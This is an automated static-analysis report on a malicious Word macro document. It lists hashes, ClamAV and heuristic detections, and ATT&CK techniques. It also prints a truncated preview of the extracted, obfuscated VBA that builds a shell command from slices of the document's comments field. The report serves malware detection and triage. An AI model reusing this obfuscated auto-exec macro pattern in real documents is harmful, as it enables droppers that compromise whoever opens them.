Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e3796d12e5da06c1…

MALICIOUS

Office (OLE)

74.0 KB Created: 2017-10-13 05:43:00 Authoring application: Microsoft Office Word First seen: 2017-10-28
MD5: a5a5dbb1738736fd33256b10634601d3 SHA-1: 73d5109069051e904a421b53a1351dbe1707a554 SHA-256: e3796d12e5da06c1faf01bf2c0279dfcc9a666a859c7f6e76663e19757bf2c93
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The critical heuristic 'OLE_VBA_SHELL' and the 'OLE_VBA_PCODE_AUTOEXEC_EXEC' firing indicate that the AutoOpen macro attempts to execute a command via the Shell() function. This is a common technique for downloading and executing further stages of malware. The ClamAV detection name 'Doc.Macro.DollarShell-6346616-0' further supports this finding.

Heuristics 7

  • ClamAV: Doc.Macro.DollarShell-6346616-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.DollarShell-6346616-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7200 bytes
SHA-256: 892655f24ef1ed880368be4b845a5c1a3224284c4a62b288a49f036e6d261cad
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub ivsQQIOaj()
nqGIXfwnu = "" + KifnCiE + VnoAWBd + jnQImk + OFCiPIJ + "coMments" + KifnCiE + VnoAWBd + jnQImk + OFCiPIJ + qukaNqwt + JKRazrLP + OmclN + ZDRhAzoU + itESiiV
mYOPswCw = Mid((vETbvNkzJ(nqGIXfwnu)), 14443, 148)
CzPwlWMA = Mid((vETbvNkzJ(nqGIXfwnu)), 931, 36)
IXAuFnKTX = Right(Left((vETbvNkzJ(nqGIXfwnu)), 7872), 61)
HbTvIaWdohN = Left(Right((vETbvNkzJ(nqGIXfwnu)), Len((vETbvNkzJ(nqGIXfwnu))) - 670), 88)
LNbHM = Mid((vETbvNkzJ(nqGIXfwnu)), 10184, 44)
FGMROXUKElj = Right(Left((vETbvNkzJ(nqGIXfwnu)), 11873), 78)
huXvBcvqWR = Right(Left((vETbvNkzJ(nqGIXfwnu)), 3961), 134)
VwirMCHJKoB = Mid((vETbvNkzJ(nqGIXfwnu)), 3091, 123)
hlGLZ = Left(Right((vETbvNkzJ(nqGIXfwnu)), Len((vETbvNkzJ(nqGIXfwnu))) - 11179), 70)
oMWQpfGjSCi = Right(Left((vETbvNkzJ(nqGIXfwnu)), 6005), 124)
XtblSr = Left(Right((vETbvNkzJ(nqGIXfwnu)), Len((vETbvNkzJ(nqGIXfwnu))) - 1954), 49)
PfttIuTr = Mid((vETbvNkzJ(nqGIXfwnu)), 15818, 65)
zPEGIZSBj = Mid((vETbvNkzJ(nqGIXfwnu)), 8473, 131)
qIGMFinJ = Right(Left((vETbvNkzJ(nqGIXfwnu)), 15582), 14)
hTWYjdXhlms = Right(Left((vETbvNkzJ(nqGIXfwnu)), 11127), 28)
lZERkCTR = Mid((vETbvNkzJ(nqGIXfwnu)), 5084, 124)
EYWnjCPfiS = Mid((vETbvNkzJ(nqGIXfwnu)), 14772, 90)
wihbwuU = Left(Right((vETbvNkzJ(nqGIXfwnu)), Len((vETbvNkzJ(nqGIXfwnu))) - 8200), 86)
fNlUmB = Mid((vETbvNkzJ(nqGIXfwnu)), 13413, 114)
GCbVi = Mid((vETbvNkzJ(nqGIXfwnu)), 8113, 12)
KqqfW = Right(Left((vETbvNkzJ(nqGIXfwnu)), 2786), 85)
KkVdWj = Right(Left((vETbvNkzJ(nqGIXfwnu)), 871), 53)
oYBVC = mYOPswCw + CzPwlWMA + IXAuFnKTX + HbTvIaWdohN + LNbHM + FGMROXUKElj + huXvBcvqWR + VwirMCHJKoB + hlGLZ + oMWQpfGjSCi + XtblSr + PfttIuTr + zPEGIZSBj + qIGMFinJ + hTWYjdXhlms + lZERkCTR + EYWnjCPfiS + wihbwuU + fNlUmB + GCbVi + KqqfW + KkVdWj
iduAii = Left(Right((vETbvNkzJ(nqGIXfwnu)), Len((vETbvNkzJ(nqGIXfwnu))) - 3528), 145)
roZXwiUiiua = Right(Left((vETbvNkzJ(nqGIXfwnu)), 11064), 111)
FCqATI = Mid((vETbvNkzJ(nqGIXfwnu)), 15344, 61)
TkWYhbmfo = oYBVC + iduAii + roZXwiUiiua + FCqATI
shHKEXnHaXw = Left(Right((vETbvNkzJ(nqGIXfwnu)), Len((vETbvNkzJ(nqGIXfwnu))) - 2084), 117)
EzKWNWni = Right(Left((vETbvNkzJ(nqGIXfwnu)), 10556), 10)
MHvwH = Mid((vETbvNkzJ(nqGIXfwnu)), 12850, 143)
nvfJwSMznGQ = Left(Right((vETbvNkzJ(nqGIXfwnu)), Len((vETbvNkzJ(nqGIXfwnu))) - 1019), 75)
vnzzdb = Mid((vETbvNkzJ(nqGIXfwnu)), 15003, 17)
avmODd = Right(Left((vETbvNkzJ(nqGIXfwnu)), 6816), 104)
IajAj = Left(Right((vETbvNkzJ(nqGIXfwnu)), Len((vETbvNkzJ(nqGIXfwnu))) - 4974), 44)
tRGjw = Mid((vETbvNkzJ(nqGIXfwnu)), 10809, 38)
PWcfIYKw = Mid((vETbvNkzJ(nqGIXfwnu)), 5347, 94)
fkMztvupQ = Left(Right((vETbvNkzJ(nqGIXfwnu)), Len((vETbvNkzJ(nqGIXfwnu))) - 8386), 10)
fkBcLmDjX = Mid((vETbvNkzJ(nqGIXfwnu)), 13708, 7)
lAfPlYUWs = Mid((vETbvNkzJ(nqGIXfwnu)), 2527, 64)
AUvYB = Right(Left((vETbvNkzJ(nqGIXfwnu)), 6088), 28)
Lrhdvjl = Mid((vETbvNkzJ(nqGIXfwnu)), 10381, 1)
zmGSv = Right(Left((vETbvNkzJ(nqGIXfwnu)), 212), 66)
zLUdK = Mid((vETbvNkzJ(nqGIXfwnu)), 5659, 63)
uCUYkhj = Left(Right((vETbvNkzJ(nqGIXfwnu)), Len((vETbvNkzJ(nqGIXfwnu))) - 12686), 122)
CKLDwHFvd = Right(Left((vETbvNkzJ(nqGIXfwnu)), 13647), 76)
WklrLOT = Mid((vETbvNkzJ(nqGIXfwnu)), 8902, 132)
hXKpVn = Right(Left((vETbvNkzJ(nqGIXfwnu)), 997), 22)
LBtVJBEH = Mid((vETbvNkzJ(nqGIXfwnu)), 4660, 138)
JjikcQzNi = TkWYhbmfo + shHKEXnHaXw + EzKWNWni + MHvwH + nvfJwSMznGQ + vnzzdb + avmODd + IajAj + tRGjw + PWcfIYKw + fkMztvupQ + fkBcLmDjX + lAfPlYUWs + AUvYB + Lrhdvjl + zmGSv + zLUdK + uCUYkhj + CKLDwHFvd + WklrLOT + hXKpVn + LBtVJBEH
jOFGJXKp = Left(Right((vETbvNkzJ(nqGIXfwnu)), Len((vETbvNkzJ(nqGIXfwnu))) - 5607), 17)
Kwzjfliz = Right(Left((vETbvNkzJ(nqGIXfwnu)), 7007), 51)
OAuKb = Left(Right((vETbvNkzJ(nqGIXfwnu)), Len((vETbvNkzJ(nqGIXfwnu))) - 4295), 111)
kAlbjsmo = Left(Right(
... (truncated)

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